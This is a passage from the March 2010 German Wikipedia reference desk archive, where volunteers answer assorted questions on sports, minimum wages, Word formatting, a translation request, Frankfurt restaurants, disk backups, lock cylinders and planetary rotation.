Formel 1 oder Radrennen würd ich nicht als Mannschaftssportarten sehen. der Fahrer fährt zwar für ein team, aber er wird einzeln gewertet, eine Teamwertung ist entweder gbei den Einzelrennen garnicht vorhanden (so ist es bei der F1) oder hat eine untergeordneete Bedeutung. --MrBurns 13:40, 24. Mär. 2010 (CET)
Es gibt Radrennen da wird das Team gewertet und fährt auch zusammen (gleichzeitig) auf der Strecke. Man schaue sich nur mal einige Arten unter Bahnradsport an, Tandem, Team-Sprint, etc.... --88.130.185.126 14:09, 24. Mär. 2010 (CET)
Ja, das sieht doch durchaus nach Team aus. --Eike 16:46, 24. Mär. 2010 (CET)
@MrBurns: Ich denke schon, daß die 1958 eingeführte Konstrukteurs-Wertung (Formel 1) eine Bewertung des Teams ist und für die Rennställe auch eine (nicht nur monetäre) Bedeutung hat. Leider finde ich bei uns trotz Durchsicht der Kategorie:Formel 1 nichts genaueres außer einer Liste der Konstrukteurs-Weltmeistertitel im Artikel Formel-1-Statistik. Habe ich etwas übersehen? Zumindest die Preisgelder für eine gewonnene Weltmeisterschaft und die vorderen Plätze wären doch relevant... --84.191.38.226 16:21, 24. Mär. 2010 (CET)
@MrBurns: Abgesehen davon, daß ein potentieller Sieger der Tour de France (oder auch anderer großer Rennen) immer auf Gedeih und Verderb von der Leistung seiner Mannschaft abhängig ist, ist bei der Tour seit 1930 auch eine Mannschaftswertung (Tour de France) eingeführt. Warum bloß? Und haben denn dabei (neben dem Werbeeffekt) die 50.000 € für den Gesamtsieg tatsächlich eine, wie Du schreibst, „untergeordneete Bedeutung“? --84.191.38.226 16:41, 24. Mär. 2010 (CET)
@F1: deshalb schrieb ich ja, dass es bei den Einzelrennen keine Teamwertung gibt. Der Einzelweltmeistertitel ist den Teams aber trotzdem noch wichtiger als der Konstrukteurstitel.
@TdF: Wenn man das Preisgeld mit den 400.000€ für das gelbe Trikot vergleicht sieht man schon, dass die Mannschaftswertung viel weniger Bedeutung hat. --MrBurns 18:25, 25. Mär. 2010 (CET)
Ok, ungenau gefragt. Mannschaftswertungen bei Einzelsportarten haben wir nun, aber das hatte ich nicht gemeint :-) -- smial 16:52, 24. Mär. 2010 (CET)

Scheint kein Arsch zu spielen, gibts aber wohl: Dreiseitiger Fußball--83.135.91.111 16:56, 24. Mär. 2010 (CET)

Ach so. Vielleicht bei einer Rallye, wenn Fahrer und Beifahrer als Mannschaft angesehen werden können? (Eindeutiger dann bei einer Langstrecken-Rallye wie Rallye Dakar, wo außer bei den Privatiers auch noch ein technisches Team mit im Spiel ist.) Aber ich ahne, daß das immernoch nicht Deine Frage trifft. Mannschaftssport heißt halt, daß sich Mannschaften vergleichen. Da wird es dann ab einem bestimmten Punkt unübersichtlich, z.B. bei einem Spiel zwischen vier Polomannschaften gleichzeitig über Kreuz auf einem quadratischen Spielfeld (Marktlücke?). Schon Dreierschach, das auf Commons zwar ein Bild, aber keinen Artikel bei uns hat und noch nicht mal mit der Volltext-Suche ein Ergebnis bringt, obwohl es angeblich schon in den 1970ern erfunden wurde [27], hat es ja schwer, sich in dieser oder der anderen Variante durchzusetzen. Hier kennt man es jedenfalls noch nicht... --84.191.38.226 17:34, 24. Mär. 2010 (CET) p.s. Falls aber Fahrer und Beifahrer als Mannschaft angesehen werden können, schalten wir sofort um zum Tanzturnier. --84.191.38.226 17:41, 24. Mär. 2010 (CET)

Beim Segeln das Fleet Race wird auch bei Olympia betrieben und der Großvater des Biathlon, die Militärpatrouille. Wird heute noch als Skibergsteigewegkampf meist ohne Schießen betrieben. Kragenfaul- 17:37, 24. Mär. 2010 (CET)

Bingo! Segelregatta ist prima und ohne jedes wenn und aber. --84.191.38.226 17:41, 24. Mär. 2010 (CET)
Fällt vielleicht nicht ganz unter Sport, aber bei der deutschen Mannschaftsmeisterschaft im Brettspiel treten bis zu 20 Teams aus je vier Spielern gegeneinander an, und zwar immer je ein Vertreter aus 4 Teams an einem Tisch, an insgesamt eben bis zu 20 Tischen. --Erastophanes 16:51, 25. Mär. 2010 (CET)
Danke für alle Ideen und Anregungen! --smial 14:00, 28. Mär. 2010 (CEST)

Mindestlöhne in Ost und West

Hallo! Warum werden immer noch unterschiedliche Mindestlöhne für West- und Ostdeutschland beschlossen? --Verwaltungsgliederung 19:10, 25. Mär. 2010 (CET)

Ich denke mal, das hat mitd er unterschiedlichen wirtschaftlichen Situation zu tun. Im Osten ist auch die Arbeitslosenquote viel höher. --MrBurns 19:13, 25. Mär. 2010 (CET)
sowie sind Löhne, Gehälter, Renten, Sozialleistungen, z.T. auch Lebenshaltungskosten (vor allem Miete) etc geringer. Hat sicherlich was mit dem Lohnabstandsgebot zu tun. Ob das heute noch gerechtfertigt ist, ist allerdings wohl eine andere Frage----Zaphiro Ansprache? 19:19, 25. Mär. 2010 (CET)
...also nicht, dass jetzt einer denkt, die Arbeitskraft eines Ossis sei weniger wert als die eines Wessis... --Snevern (Mentorenprogramm) 19:31, 25. Mär. 2010 (CET)
Arbeitsproduktivität war sicherlich ein Thema nach der Wende, weniger wegen angeblicher Faulheit, eher wg der noch fehlenden Infrastruktur, Abwanderung Qualifizierter sowie höheren Arbeitslosigkeit im Osten etc pp , vgl etwa auch Lohnschere#Ursachen der Lohnspreizung, offenbar wird dies sich aber wohl aufgrund der Arbeitslosigkeit nicht so schnell ändern, vgl etwa [28]----Zaphiro Ansprache? 20:11, 25. Mär. 2010 (CET)
Zum Thema passend gibt es noch dieses hier. -- Wiprecht 21:11, 25. Mär. 2010 (CET)
das hatte ich ach mit Schmunzeln gelesen, da sag ich nur typisch deutsche Bürokratie ;-)----Zaphiro Ansprache? 01:12, 26. Mär. 2010 (CET)
Aber war nicht irgendwie das Ziel, die Löhne und Preise in Ost und West anzugleichen? --Verwaltungsgliederung 20:52, 26. Mär. 2010 (CET)
Dieses Ziel wurde doch erreicht, die Preise Ost auf das Preisniveau West gehoben und die Löhne West auf Ostniveau befördert. So wollten es doch alle, oder etwa nicht? ;-) --☞☹Kemuer 04:51, 29. Mär. 2010 (CEST)

Las Vegas

Wie heissen die Einwohner von Las Vegas? --84.112.90.56 22:33, 26. Mär. 2010 (CET)

Der Bürgermeister heißt Oscar B. Goodman. Die anderen Las-Veganer weiß ich nicht. -- Martin Vogel 22:39, 26. Mär. 2010 (CET)
Laut en:Las Vegas, Nevada nennen die sich Las Vegans. Gruss, --Cú Faoil RM-RH 22:43, 26. Mär. 2010 (CET)
Du frugest gestern nach den Einwohnern von Miami. Welche Städte werden als nächstes folgen? Aber, ich helfe dir, sofern ich dazu gewillt sein werde.--88.72.138.194 22:58, 26. Mär. 2010 (CET)
Keine falschen Verdächtigungen! Ich "frugte". --84.164.76.84 16:03, 28. Mär. 2010 (CEST)


Wichtig ist, nicht ganz auf tierisches Eiweiß zu verzichten. BerlinerSchule 01:16, 27. Mär. 2010 (CET)
Und frug[e]st verweist auf einen Husumer, um mal wieder die Ortsnamen ins Spiel zu bringen.--IP-Los 03:04, 27. Mär. 2010 (CET)
Da kann man endlos weiterfragen. Wie heißen die Einwohner von Rio de Janeiro, Santiago de Compostela und von Reit im Winkl? -- Martin Vogel 03:15, 27. Mär. 2010 (CET)
Letztere wohl "Reiter ums Eck". --Sr. F 10:22, 27. Mär. 2010 (CET)

Puls-Ohren

Ich werte zur Zeit eine Schulchronik von 1914 aus. Dabei stoße ich auf diesen Begriff, den ich nicht unterbringen kann (ist auch sehr eindeutig so zu identifizieren). Liege ich richtig, wenn ich diese Schmuckstücke, die als handgestrickte Weihnachtsgabe für die "tapferen Krieger" gedacht waren, als Pulswärmer ansehe (eine Art Manschette für die Handgelenke)? Danke, wenn's wer weiß. --Gwexter 11:07, 27. Mär. 2010 (CET)

Im Web nichts - ausser Pulsoren oder Pulsuhren - und auch nichts im Meyers (garantiert!) oder bei Grimm. Wenn man so GAR NICHTS findet, könnte es sein, dass es ein sehr lokalspezifischer (wo erwähnt?) Begriff ist oder, dass Fehllesung oder Fehlschreibung vorliegt. Zugegebenermassen ratlos ... G! GG nil nisi bene 17:38, 27. Mär. 2010 (CET)
... es sei denn ... Sie tragen grüne Mützen mit grauen Pelzohren, sie sind mit grünen Schnüren auf den Kopf gebunden. Unter den Pelzohren stehen die Ohren der Offiziere... (Pelzohren kenne ich auch ... vom Spiegel im Badezimmer...
Das mag es sein ... Vielleicht ist dem Schreiber der Lapsus unterlaufen, in Sütterlinschrift (von Lehrers Hand) ist das eindeutig als "Puls-Ohren" zu lesen. Sinn hat es, weil es sich um Liebesgaben für die Frontsoldaten handelt, von denen in der Chronik geschrieben wird, so was wie: http://ecx.images-amazon.com/images/I/41D1TJm-WML._SL160_.jpg, (also die Lappen, die links rechts über die Ohren hängen). Danke für den Wegweiser. --Gwexter 18:22, 27. Mär. 2010 (CET)
Vielleicht war das mal eine scherzhafte Bezeichnung für solche, seitlich angebrachten Fäustlinge. -- Lotse 00:44, 29. Mär. 2010 (CEST)

Microsoft Xbox Konsole

Hallo. Nicht dass ihr denkt dass ich die Xbox 360 meine, ich rede nämlich von der klassischen Xbox Konsole was der Vorgänger von der Xbox 360 ist. Ein Freund von mir hat die Xbox und ich hab die Xbox und er hat sich einen Chip einbauen lassen wo er die Spiele ohne CD zocken kann. Ich hab ihn gefragt woher er den Chip hatte und er konnte mir keine Auskunft geben weil er das nicht wusste da er sich die Xbox selbst von einem anderen Typen abgekauft hat. Nun würd ich bitte gern wissen an wem ich mich in Österreich wenden muss um einen Chip in meine Xbox Konsole einbauen zu lassen und mich würde auch interessieren was ungefähr der Preis dafür wäre. Danke. 188.23.34.11 12:39, 27. Mär. 2010 (CET)

Öhm, also ich geh mal davon aus dass diese Chips eh illegal sind, oder? --flo 1redenbewerten 12:40, 27. Mär. 2010 (CET)
Nicht die Chips sind illegal. der Sperber d! 12:59, 27. Mär. 2010 (CET)
...sondern die Xbox? --Duckundwech 20:54, 27. Mär. 2010 (CET)
Verutlich eher Einbau und Verwendung. --21:57, 27. Mär. 2010 (CET) (ohne Benutzername signierter Beitrag von 88.130.181.39 (Diskussion | Beiträge) )
In Österreich? Vielleicht. In Deutschland ist es jedenfalls nur verboten, die Spiele zu kopieren, da greift das Urheberrecht. Was du mit deinem gekauften Eigentum (xbox, modchip) machst ist hingegen deine Sache. -- Janka 15:09, 28. Mär. 2010 (CEST)

Schlendrian

Neben Italien war auch Österreich für seinen Schlendrian bekannt: Es wird schon eh gehn, habns net so.. Gibt es den in Österreich immer noch, wenn man so die Zuverlässigkeit bei Red Bull Formula Austria sieht oder ist das ein Sonderfall?--Ferkelbus 10:14, 28. Mär. 2010 (CEST)

Für solche Fragen legst du extra einen (neuen) Account an? --A.Hellwig 12:23, 28. Mär. 2010 (CEST)
Das ist reiner Neid, nur ein Ösi kommt auf die Idee Wasser in Büchsen zu packen und teuer zu verscherbeln. Da ist es wurscht, wie die Dose im Fernsehen ist. Der arme Vettel muß auf jeden Fall daran nuckeln, selbst wenn er ausgefallen ist. Der Rest ist unwichtig.--91.56.203.37 12:52, 28. Mär. 2010 (CEST)

Femer-Mte Energieumwandlungsanlage

Femer Mte Energieumwandlungsanlage erzeugt mit einer geothermischen Verfahrenstechnik Energie aus dem Abfall(Strom,Diesel,Wärme und Kälteenergie). Meine Anfrage lautet: 1.Wird dieses Verfahren anerkannt und eingesetzt? Wenn ja: wo und seit wann? ich bedanke mich im Voraus und verbleibe mit freundlichen Grüßen. Sadi Budakoglu --188.103.114.153 15:58, 28. Mär. 2010 (CEST)

Wieso geothermisch? --тнояsтеn 16:01, 28. Mär. 2010 (CEST)
Strom und Diesel sind Abfall? Ich verstehe die Frage nicht. --Sr. F 16:22, 28. Mär. 2010 (CEST)
Sowas wie Abwasserwärmerückgewinnung, Abgaswärmerückgewinnung, Wärmepumpe und Wärmetauscher scheint gemeint. Der Fragesteller möge sich das und die weiterführenden Verlinkungen zu Gemüte führen. So dann noch Fragen offen sind, kann er die konkreter formulieren. Gruss --Dansker 16:55, 28. Mär. 2010 (CEST) (gestrichen, es geht um ne Saftpresse)
vllt gibts ja auch müll-ver-diesel-ung (so wie Holzvergasung)...? --Heimschützenzentrum (?) 17:08, 28. Mär. 2010 (CEST)
Die Website ist ja eine Frechheit (bezüglich Lesbarkeit, Layout, Farbgebung, Bedienung): http://www.femer-mte.de . --79.239.128.48 18:17, 28. Mär. 2010 (CEST)
Wenn die Firma so seriös ist wie ihr Webauftritt, kann man nur sagen: Finger weg! -- Jossi 22:39, 28. Mär. 2010 (CEST)

CD Charts

Die Fernsehsendung Willkommen bei Carmen Nebel hat auch paar CDs und eine DVD herausgebracht. Wo finde ich heraus welchen Chartplatz die CD oder DVD erreicht hat? -- Auto1234 18:13, 28. Mär. 2010 (CEST)

Wikipedia:Charts#Quellen. --83.76.178.133 18:16, 28. Mär. 2010 (CEST)

Blog über House

Ich hatte mal ein Blog gefunden, das erörtert, wie realistisch jeweils die Fälle und Diagnosen in der Serie House sind. Es war englischsprachig und von einem Medizinstudenten o.ä. Kennt oder findet das jemand? --92.202.38.53 23:30, 28. Mär. 2010 (CEST)

Kennste Google? --83.76.178.172 23:43, 28. Mär. 2010 (CEST)
Ja, und damit war ich zu blöd, es wiederzufinden :P --92.202.38.53 23:52, 28. Mär. 2010 (CEST)
Google: House+Blog+realistisch = answers.yahoo.com = politedissent.com/house_pd. --83.77.165.237 00:02, 29. Mär. 2010 (CEST)

Windows Server 2003 und CIFS

Hallo,
beherrscht Microsoft Windows Server 2003 in allen Versionen aus dem Stand das CIFS-Protokoll oder nur das SMB-Protokoll zum Einbinden von Freigaben eines anderen Systems? Wenn nein, kann man die Funktion kostenfrei nachinstallieren oder ist die Funktion zusätzlich zu lizensieren?
Viele Grüße --Marsupilami (Disk|Beiträge) 20:53, 26. Mär. 2010 (CET)

Würd mich wundern wenn nicht. Immerhin ist das Protokoll von 1996 und WinServer das Flagschiff der Server-Sparte von MS gewesen. --Gnu1742 09:07, 29. Mär. 2010 (CEST)

Frage zu Word 2002

Hallo! Ich will in Word eine Überschrift und danach Texte in Rahmen schreiben, wobei ich einen großen Rahmen um die Überschrift und die einzelnen kleineren Rahmen haben möchte. Wie mache ich das? --Verwaltungsgliederung 20:54, 26. Mär. 2010 (CET)

Text markieren, dann Format>Rahmen und dann auswählen, welchen Rahmen man will. --Sr. F 21:43, 26. Mär. 2010 (CET)
Den großen Rahmen erhältst du über Format/Rahmen und Schattierungen/Reiter Seitenrand. Wenn der Rahmen nicht über die ganze Seite gehen soll, dann Reiter Rahmen, übernehmen für Absatz (den du mit Leerzeilen auf Größe bringen kannst). Die kleinen Rahmen machst du dann über Textfelder, die du dann ihrerseits formatierst. Grüße 85.180.200.243 21:53, 26. Mär. 2010 (CET)
Für kleine Rahmen in mehreren Spalten kannst du auch eine Tabelle anlegen mit kleineren Spalten für die Zwischenräume, und dann alle Gitternetzlinien unsichtbar machen, die du nicht brauchst. --Sr. F 22:11, 26. Mär. 2010 (CET)
Wie kann ich das Textfeld zentrieren? --Verwaltungsgliederung 19:00, 27. Mär. 2010 (CET)
Anklicken (= markieren) und am Rahmen mit der Maus irgendwo hinziehen. -jkb- 19:05, 27. Mär. 2010 (CET)
Gibt es denn keine andere Möglichkeit, das Textfeld genau in die Mitte zu bekommen? --Verwaltungsgliederung 22:14, 27. Mär. 2010 (CET)
Doch. RTFM --188.174.22.209 10:20, 29. Mär. 2010 (CEST)

Übersetzung erbeten

Leider bin ich im Wirtschaftsenglischen überhaupt nicht zuhause. Wer kann mir deshalb folgende Sätze ins Englische übersetzen:

Damit wir die Verschiffung des Containers in die Wege leiten können, benötigen wir umgehend

  • eine Bescheinigung der Distriktverwaltung Pallisa über die Gemeinnützigkeit des Vereins Gogonyo Developement Initiative und
  • eine Zollbefreiungsbestätigung durch die ugandische Zollverwaltung für alle Objekte, die in der beiliegenden Liste aufgeführt werden.

Danke im Voraus! Mfg, Gregor Helms 16:32, 27. Mär. 2010 (CET)

Unfortunately, I am not into economic English at all at home. Who can translate to me, therefore, the following sentences into the English: So that we can lead the shipment of the container in the ways, we immediately need a certificate of the district management Pallisa about the Gemeinnützigkeit of the association Gogonyo Developement initiative and a duty freeing confirmation by the Ugandan duty management for all objects which are performed in the attached list. from [29]--92.78.88.146 17:31, 27. Mär. 2010 (CET)
Vielleicht kann ich etwas helfen: Zollbefreiung heißt auf Englisch customs exemption bzw. exemptions from customs duties. Bescheinigung: certificate, attesting, confirmation. Mögliche Teilübersetzung: "certificate of customs exemption" (Quelle: Fachwörterbuch Zoll - Deutsch-Englisch, herausgegeben vom Bundesministerium der Finanzen, 2002) Etwa so? [...] certificate from the Ugandan Customs Administration attesting the customs exemption"[...] --Lkl17:35, 27. Mär. 2010 (CET)
Nachtrag: Gemeinnützig = non-profit, gemeinnütziger Verein = non-profit association (UK) bzw. nonprofit corporation (US). Zollverwaltung: Customs Administration oder Customs Authority, Customs Services. --Lkl17:38, 27. Mär. 2010 (CET)
Nachtrag2: laut Weltzollorganisation [30] ist das die Internetpräsenz der Ugandischen Zollverwaltung: http://www.ugrevenue.com - Demnach könnte als Name/Bezeichnung auch "Uganda Revenue Authority" in Frage kommen. --Lkl17:55, 27. Mär. 2010 (CET)
Ihr seid spitze! Der gemeinnützige Verein "Eine Brücke nach Afrika - WanGO Wangerland-Gogonyo eV lässt grüßen und dankt für die Übersetzungsshilfe! mfg,Gregor Helms 18:13, 27. Mär. 2010 (CET)
Immer wieder gerne! Und viel Erfolg! --Lkl18:23, 27. Mär. 2010 (CET)

"to lead in the ways" klingt sehr direktdeutsch übersetzt und sollte besser durch "initiate" ersetzet werden. --Duckundwech 20:07, 27. Mär. 2010 (CET)

trotzdem war die erste Übersetzung so richtig schöööööön. War das DEnglisch? Oder wie nennt man das? --Ch.Weg 01:28, 28. Mär. 2010 (CET)
Die IP (der erste Übersetzer) hat doch den Link dazu geschrieben: das war eine Babelfisch-Übersetzung von Abacho.de. --Lkl10:19, 28. Mär. 2010 (CEST)

Hier mal ein erster Entwurf einer stilgerechten, nicht wortwoertlichen Uebersetzung zur Begutachtung:

In order to initiate the container shipment we would like to ask you to supply us with the following documents at your earliest convenience:

- an official confirmation of the non-profit status of the Gogonyo Development Initiative, issued by the Pallisa District authorities

- an official customs exemption certificate issued by the Uganda Revenue Authority for all objects listed in the attachment

-- Arcimboldo 07:18, 29. Mär. 2010 (CEST)

Essen gehen in Frankfurt

Wo kann man in Frankfurt schick gut bürgerlich essen gehen für 100 (max150) für zwei Personen? --85.181.209.180 18:39, 27. Mär. 2010 (CET)

Das örtliche, ohne Ö fehlt dir was :D also wenn du Frankfurt (Oder) meinst würde ich sagen geh rüber nach Slubice, die Zigarettenstraße runter und links an der Ecke ...Sicherlich Post 18:55, 27. Mär. 2010 (CET)
der Oderspeicher dürfte auch gehen; direkt an der Oder (auf deutscher Seite), von FO aus gesehen rechts an der Promenade ...Sicherlich Post 18:58, 27. Mär. 2010 (CET)
Alternativ gibt es auch noch einen McDonalds in der Rosa-Luxemburg-Straße 13 (etwa in Steinwurfweite zur Oder). --Lkl19:05, 27. Mär. 2010 (CET)
das ist ja witzig; ich hätte gesagt das ist die Slubicer Str. - aber laut google ist die Fahrspur nach Slubice die Slubicer Str. und die Fahrspur aus der anderen Richtung die Rosa-Luxemburg-Str. - witzig :D ...Sicherlich Post 11:00, 28. Mär. 2010 (CEST) Parken ist da irgendwie schwierig

Am Main ... nicht Oder. --85.181.209.180 19:06, 27. Mär. 2010 (CET)

Frankfurt am Main ist groß – Altstadt, Innenstadt? Im Altstadtbereich ist das einzige, was ich als "bürgerlich" und nicht primär auf Touristennepp ausgerichtet bezeichen würde, wohl der Schwarze Stern am Römerberg. Prinzipiell super ist auch das Metropol am Dom, wo wir ja auch immer den WP-Stammtisch haben, aber das hat mehr Bistro denn Restaurant-Charakter und ist aufgrund der Raumkonfiguration her auch alles andere als ruhig. Im Innenstadtbereich würde ich mich am ehesten mal um die Börse und in der Goethestraße umgucken, das sind die 1A-Lagen und kommen wohl auch preislich am ehesten dem nahe, was du da angibst. Wenn's auch ein Vorort sein darf – der zudem wesentlich hübscher als die zubetonierte Innenstadt ist – kann ich nur Zum Bären am Schloßplatz in Höchst empfehlen, das ist nicht nur meiner Meinung nach eines der besten Restaurants in Hessen. --Doenertier82 19:09, 27. Mär. 2010 (CET)
Nicht ganz so weit außerhalb: Probier mal das Malepartus in Bernem (geschrieben Bornheim)! Grüße 85.180.195.55 19:13, 27. Mär. 2010 (CET) (Nicht verwandt/verschwägert/beteiligt)
[31] vieleicht findest du dort etwas passendes --79.222.247.145 19:16, 27. Mär. 2010 (CET)

Der schwarze Stern ist denke ich genau das was ich gesucht habe. Danke --85.181.209.180 19:18, 27. Mär. 2010 (CET)

Oder das Steinerne Haus, ganz in der Nähe. -- Martin Vogel 20:12, 27. Mär. 2010 (CET)
Ich würde Dir das Höchster Kebaphausempfehlen. Liegt in der Nähe vom Bolongaropalast und ist auch mit dem Bus gut zu erreichen. --Einer aus Finthen 20:30, 27. Mär. 2010 (CET)
Falls du bereit sein solltest, 30 Kilomter zu fahren, würde ich Dir dieses Restaurant hier empfehlen. --Einer aus Finthen 20:33, 27. Mär. 2010 (CET)
Bis Mainz sind es 55 km. -- Martin Vogel 20:41, 27. Mär. 2010 (CET)
Dann weiß ich aber nicht, wie du gemessen hast..... von Frankfurt Höchst bis zur Mainzer Uni sind es 33 Kilometer ...und der Diwan ist jeden Kilometer wert!--Einer aus Finthen 20:45, 27. Mär. 2010 (CET)
Falls es Bio-Öko ein soll, dann hier. -- Martin Vogel 20:41, 27. Mär. 2010 (CET)
Gut bürgerlich? :) Der schwarze Stern passt schon. Das ist das was ich suche und in der nähe. Und bio öko ? Ich will Freude am Essen haben. --85.181.215.250 20:42, 27. Mär. 2010 (CET)
Na, wenn Du schon an der Schwelle über Deine Vorurteile stolperst, kann das natürlich nix werden mit der Freude. Vielleicht schaust Du Dir zuerst mal die Menükarte an, und entscheidest dann, ob das Ding gutbürgerlich ist, aber wenn mangelndes Insektengift Dir sowieso den Appetit verdirbt, kann man nix machen ... --83.77.199.208 21:08, 27. Mär. 2010 (CET)

NB: Wenn Du Lust auf ausländisches Futter hast: z.B. Japanisch => Higematsu (Meisengasse) Sushimoto (Arabella-Hotel) oder Iroha (Frankfurter Hof), Indisch => Mayur (Berliner Straße). --91.36.114.145 10:02, 29. Mär. 2010 (CEST)

MBR, Partitionstabelle, FATs auf externer Festplatte

Wie kann ich von einer externen USB-Festplatte am besten den MBR, die Partitionstabelle und die FATs sichern beziehungsweise an welcher Stelle befinden sich diese genau. (Byte-Offset Position wäre sehr nett!) Danke. --Der grosse blonde Blauäugige 11:51, 28. Mär. 2010 (CEST)

Sichern kannst du es mit dd (was du vielleicht schon kennst, wenn du nach Byte-Positionen fragst). Soweit ich weiß, haben diese Tabellen nicht immer denselben Platz. Das wird in letzter Zeit ab und zu in Zusmamenhang mit Festplatten mit 4-KB-Sektoren beschrieben, google mal danach. --Eike 12:14, 29. Mär. 2010 (CEST)

Drehbarkeit eines Zylinderschlosses bei eingestecktem Schlüssel

Liebe Auskunft, wenn man in ein Zylinderschloss von einer Seite einen passenden Schlüssel einführt, lässt sich das Schloss von dieser Seite aus drehen. Von der anderen Seite aus ist das jedoch nicht möglich. Warum nicht? Danke für Antworten. --84.151.248.210 12:26, 28. Mär. 2010 (CEST)

wenn 2 schlüssel stecken, behindern sie sich gegenseitig, richtig?--62.226.126.38 12:34, 28. Mär. 2010 (CEST)
Entweder lässt sich der Schlüssel auf der Gegenseite nicht ganz einschieben oder der Schlüssel auf der 'richtigen' Seite bewegt den Mitnehmermechanismus in die Position mit der sich der Riegel schieben lässt. Jede Seite hat seine eigenen Sperrungen. --Gustav Broennimann 12:44, 28. Mär. 2010 (CEST)
(BK) Das hängt davon ab wie Der Schließzylinder konstruiert ist. Es gibt beide Varianten. --HAL 9000 12:50, 28. Mär. 2010 (CEST)
Schließzylinder gibt es in verschiedenen Längen, je nach der Türblattdicke und Beschlag. Nur bei kurzen Doppelzylindern behindern sich gegenseitig eingesteckte Schlüssel. --Schlesinger schreib! 12:51, 28. Mär. 2010 (CEST)
Bei Langen Zylindern kann eine Verriegelung aber auch gewollt sein. Hier ist ein Beispiel für einen Zylinder mit Not- und Gefahrenfunktion (beidseitig schließbar, auch wenn innen Schlüssel steckt). --HAL 9000 13:01, 28. Mär. 2010 (CEST)

Ist es denn so, dass in einem Schloss zwei Zylinder stecken? Wenn ja, ist das (annähernd) immer so? Ich dachte, es würde sich um einen Zylinder handeln, der aus Symmetriegründen von beiden Seiten aus betätigt werden kann. Ursprünglich hätte ich vermutet, dass deshalb zum Beispiel ein Zylinder einfach von außen zum Beispiel mit einem Schraubenzieher oder durch festes Aufdrücken eines Fingers gedreht werden kann, wenn von innen der Schlüssel im Schloss steckt; die Stifte des Zylinders sind dann ja in der richtigen Position. --84.151.186.35 15:43, 28. Mär. 2010 (CEST)

Soweit ich weiß, gibt es Schließzylinder, bei denen sich die jeweils andere Seite mitdreht. Diese müsste man öffnen können, wenn der Schlüssel steckt. Aber im Normalfall dreht sich die gegenüberliegende Seite eben nicht mit (einfach mal ausprobieren), sonst könnte man ja überall einbrechen, wo innen der Schlüssel steckt ;) --тнояsтеn 11:31, 29. Mär. 2010 (CEST)

Kann man den Kaufpreis eines Presseerzeugnis zurückverlangen, wenn sich herausstellt, daß es keine Trennung zwischen Text und Anzeigen gibt ? (vgl. Merian (Reisemagazin), Mercedes) --84.176.57.41 15:03, 28. Mär. 2010 (CEST)

Nein - es sei denn, der Verkäufer hätte dir ausdrücklich was anderes zugesichert. Die fehlende Trennung zwischen Text und Anzeigen mag störend sein (zumindest subjektiv), aber sie beeinträchtigt die Tauglichkeit des Kaufobjekts zum vertragsgemäßen Gebrauch nicht. Der "Mangel" begründet damit meiner Ansicht nach (frag zwei Juristen und erhalte drei Antworten) keine Gewährleistungsrechte. --Snevern (Mentorenprogramm) 19:07, 28. Mär. 2010 (CEST)
Es ist ja auch nicht gerade so, dass man mit einer Zeitschrift die Katze im Sack kauft. --Ayacop 09:07, 29. Mär. 2010 (CEST)

"Pfarrer i.W." (erl.)

Für was steht die Abkürzung i.W. ? Das scheint nur bei den Protestanten aufzutauchen. Danke vorab --PogoEngel 19:40, 28. Mär. 2010 (CEST)

Okay Wartestand :-( -- PogoEngel 19:42, 28. Mär. 2010 (CEST)
Also hat der keine "Arbeitsstelle", heisst das, dass der arbeitlos als solcher gemeldet ist und hartzt?--91.56.203.37 03:04, 29. Mär. 2010 (CEST)
Hast du den Artikel Wartestand#Kirchliches Recht eigentlich gelesen? Er hat keine Pfarrstelle, weil es für ihn keine gibt, und kann entweder sich eine neue suchen oder wird bald in den Ruhestand versetzt. Er bekommt 45% der Bezüge eines Pfarrers und braucht darum nicht zu "hartzen". --Sr. F 08:04, 29. Mär. 2010 (CEST)

Rotationsrichtung von Himmelskörpern

Im Artikel "Titan (Mond)" fiel mir im Abschnitt "Rotation" auf, daß die Rotationsrichung falsch eingetragen war (Ost nach West statt West nach Ost). Das habe ich erst einmal korrigiert. Natürlich drehen sich die meisten Planeten und großen Monde nach Osten. Darum geht ja auch die Sonne im Osten auf.

Bei einer weiteren stichprobenartigen Nachschau bemerkte ich im Artikel "Erde, Abschnitt Rotation", daß hier zwar die Drehrichtung (Osten) richtig angegeben ist, dieser Vorgang aber im gleichen Satz als rechtläufige Rotation genannt wird. Ist das wirklich richtig? Rechtläufig bedeutet für mich "im Uhrzeigersinn". Die Rotation nach Osten erfolgt aber gegen den Uhrzeigersinn, für mich also linksläufig.

Im Artikel "Erde-Mond-Schwerpunkt" befindet sich eine Animation, die den Umlauf von Erde und Mond illustriert. Diese Animation dreht sich ebenfalls im Uhrzeigersinn, also gegenüber der Realität falsch herum. Sollte das nich korrigiert werden? (Ich weiß. ich rege hier eine ziemliche Fleißaufgabe an, zumal ich nicht weiß, in wievielen hundert Artikeln die falsch-herumme Animation oder ggf auch Rotationsrichtung angegeben ist). --Ch.Weg 01:51, 26. Mär. 2010 (CET)

Ob sich ein Himmelskörper "rechts" oder "links" herum dreht ist eine Frage des Standpunkts - wenn für den Betrachter oben und unten nicht definiert sind. Stellt sich der Betrachter auf den Kopf (was er im Weltraum ja ohne weiteres kann), erscheint die Drehrichtung umgekehrt. Schaut man "von oben" auf einen rotierenden Körper und stellt fest, er dreht sich "im Uhrzeigersinn", dann braucht man den gleichen Körper nur "von unten" zu betrachten und wird feststellen, dass er sich jetzt gegen den Uhrzeigersinn dreht. Die Drehrichtungen "von West nach Ost" und umgekehrt setzen ebenfalls einen Bezugspunkt (Norden/Süden) voraus. --Snevern (Mentorenprogramm) 06:16, 26. Mär. 2010 (CET)
"Die Drehrichtungen "von West nach Ost" und umgekehrt setzen ebenfalls einen Bezugspunkt (Norden/Süden) voraus" - Na ja, so stimmts nicht: die Drehrichtung von West nach Ost setzt keinen Bezugspunkt voraus, Westen ist immer da, wo die Sonne untergeht und Osten da, wo sie aufgeht, egal wo ich stehe und in welche Richtung ich schaue. Aber ob bei einer Drehrichtung von W nach O diese Drehrichtung im Uhrzeigersinn ist oder im Gegenuhrzeigersinn, hängt davon ab, ob ich so stehe, dass ich in Richtung Norden oder Süden blicke StephanPsy 07:40, 26. Mär. 2010 (CET)
"im Artikel "Erde, Abschnitt Rotation", daß hier zwar die Drehrichtung (Osten) richtig angegeben ist, dieser Vorgang aber im gleichen Satz als rechtläufige Rotation genannt wird." - Wenn man so steht, dass man nach Norden schaut, dann ist diese Drehrichtung im Uhrzeigersinn - StephanPsy 07:46, 26. Mär. 2010 (CET)
